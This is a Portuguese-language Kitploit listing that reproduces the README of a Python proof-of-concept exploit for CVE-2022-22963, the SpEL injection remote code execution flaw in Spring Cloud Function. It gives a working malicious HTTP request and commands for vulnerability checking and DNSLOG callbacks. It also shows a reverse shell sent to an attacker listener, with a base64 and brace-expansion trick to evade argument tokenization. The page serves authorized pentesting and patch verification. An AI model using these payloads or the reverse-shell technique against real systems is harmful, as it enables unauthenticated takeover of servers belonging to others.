Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2022-22963 — CVE-2022-22963-poc | Kitploit
Ferramentas/GitHubGitHub/xmqaq/cve-2022-22963
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoRed Teaming
GitHubxmqaq/cve-2022-22963

CVE-2022-22963

CVE-2022-22963-poc

Ver Repositório
11há 2 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2022-22963

Python License

Ferramenta de detecção e exploração da vulnerabilidade de execução remota de código por injeção de expressão SpEL no Spring Cloud Function.

Visão geral da vulnerabilidade

CVE-2022-22963 é uma vulnerabilidade RCE de alto risco (CVSS 9.8) no recurso de roteamento do Spring Cloud Function. Quando o aplicativo tem o endpoint /functionRouter habilitado, o valor do cabeçalho de solicitação spring.cloud.function.routing-expression é executado diretamente como uma expressão SpEL (Spring Expression Language), permitindo que um atacante execute comandos arbitrários no servidor de destino sem autenticação.

Versões afetadas:

Baixar ferramenta
BranchVersões afetadasVersão corrigida
3.1.x< 3.1.73.1.7
3.2.x< 3.2.33.2.3

Princípio da vulnerabilidade:

root@kitploit:~
POST /functionRouter HTTP/1.1
Host: target.example.com
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("id")
Content-Type: application/x-www-form-urlencoded

test

Quando o servidor executa o SpEL, exec() retorna um objeto Process; ao tentar serializá-lo, o Spring lança uma exceção e a resposta é HTTP 500. O comando é executado de forma assíncrona em segundo plano, e o resultado não é refletido na resposta HTTP — é necessário confirmá-lo por canais laterais, como DNSLOG ou reverse shell.

Funcionalidades

  • Detecção de vulnerabilidade: aciona uma resposta característica via SpEL para determinar se o alvo está vulnerável
  • Verificação via DNSLOG: envia uma solicitação ping para o domínio DNSLOG e confirma a execução do comando por meio dos registros DNS
  • Reverse shell: utiliza codificação base64 para contornar a restrição de espaços e envia um shell interativo de volta ao endereço especificado

Instalação

root@kitploit:~
pip install requests

Python 3.6+, sem outras dependências.

Uso

root@kitploit:~
python3 CVE-2022-22963.py -u <URL-alvo> [opções]

Descrição dos parâmetros

ParâmetroDescriçãoPadrão
-u, --urlURL de destino (obrigatório)—
-c, --checkVerifica se a vulnerabilidade está presente—
-m, --modeModo de exploração: dnslog ou shell—
-d, --dnsDomínio DNSLOG (usado com -m dnslog)—
-i, --ipIP receptor do reverse shell (usado com -m shell)—
-p, --portPorta receptora do reverse shell9999
-t, --timeoutTempo limite da solicitação (segundos)5

Detecção da vulnerabilidade

root@kitploit:~
python3 CVE-2022-22963.py -u http://target.example.com -c
root@kitploit:~
2024-01-01 12:00:00 - INFO - [+] http://target.example.com está vulnerável!

Verificação via DNSLOG

Usado para confirmar que o comando foi realmente executado quando não há retorno visível:

root@kitploit:~
python3 CVE-2022-22963.py -u http://target.example.com -m dnslog -d abc123.dnslog.cn
root@kitploit:~
2024-01-01 12:00:01 - INFO - [+] payload enviado; verifique se abc123.dnslog.cn recebeu uma consulta DNS (confirma a execução real)

Em seguida, verifique na plataforma DNSLOG se foi recebida uma consulta DNS a partir do IP do alvo.

Reverse shell

Inicie a escuta na máquina do atacante:

root@kitploit:~
nc -lvnp 9999

Envie o payload:

root@kitploit:~
python3 CVE-2022-22963.py -u http://target.example.com -m shell -i 192.168.1.100 -p 9999
root@kitploit:~
2024-01-01 12:00:02 - INFO - [+] payload enviado; aguarde a conexão em 192.168.1.100:9999 (somente alvos Linux/bash)

Observação: o reverse shell depende do suporte a /dev/tcp no sistema de destino, sendo aplicável apenas a ambientes Linux + bash. Não há suporte para alvos Windows nem para shells como sh/ash/dash.

Detalhes técnicos

Princípio de detecção

A solicitação de detecção envia uma expressão SpEL real para /functionRouter:

root@kitploit:~
T(java.lang.Runtime).getRuntime().exec('id')
  • Vulnerável: o SpEL é executado e o objeto Process não pode ser serializado → HTTP 500 + "path":"/functionRouter"
  • Não vulnerável: o cabeçalho é ignorado e o roteamento da função falha → o código de resposta ou o corpo não corresponde às características acima

Fluxo de codificação do reverse shell

Runtime.exec(String) não passa pela interpretação do shell; ele tokeniza a string de comando diretamente por espaços e não consegue lidar com pipes e redirecionamentos. A ferramenta contorna essa limitação da seguinte forma:

  1. Codifica o comando do reverse shell em base64, eliminando caracteres especiais
  2. Usa bash brace expansion {cmd,arg} no lugar de espaços
  3. Por fim, o parâmetro -c do bash do alvo processa os pipes e redirecionamentos
root@kitploit:~
bash -c {echo,BASE64}|{base64,-d}|{bash,-i}
          ↕ Java exec tokeniza por espaços
["bash", "-c", "{echo,BASE64}|{base64,-d}|{bash,-i}"]
          ↕ bash -c aplica brace expansion nos argumentos
echo BASE64 | base64 -d | bash -i

Histórico de atualizações

DataVersãoDescrição
2023-12-28v1.0Lançamento da versão inicial
2025-10-09v1.1Refatoração do código; otimização do tratamento de parâmetros e de erros
2026-06-29v1.2Correção de falsos positivos na detecção, da concatenação do caminho do context path e de problemas de semântica no valor de retorno do exploit

Isenção de responsabilidade

Esta ferramenta destina-se exclusivamente a pesquisa em segurança, testes de penetração autorizados e fins educacionais.

Ao utilizar esta ferramenta, você concorda que:

  1. Ela será utilizada somente em sistemas alvo com autorização expressa por escrito
  2. Todas as leis e regulamentos aplicáveis em sua região serão cumpridos
  3. Você assume total responsabilidade por todas as consequências decorrentes do uso desta ferramenta

Os autores não assumem qualquer responsabilidade por usos não autorizados nem por suas consequências.